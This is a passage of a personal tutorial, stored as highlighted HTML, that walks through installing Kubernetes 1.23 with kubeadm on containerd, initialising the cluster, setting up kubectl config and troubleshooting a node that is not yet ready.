style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can verify its running with ctr:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ectr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--address\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system.  I’m going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.4-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e.  You can check that it is available to you doing this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echown\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e):$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-g\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I'll show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em16s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you recieve \"The connecto to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time.  So if you aren't able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e.  You'll need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running.  If it isn't you can check:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eATTEMPT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e36\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eseconds\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e344\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ec4f7fffbe8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e81\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea4a8a4ac639\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea819c3a864b2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e7\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecc6922c82015\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3767741\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee7fba7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee64ddf3679d98\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10432\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eb81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few ways to figure out why the node isn’t ready yet.  Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejournalctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-flu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebegin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 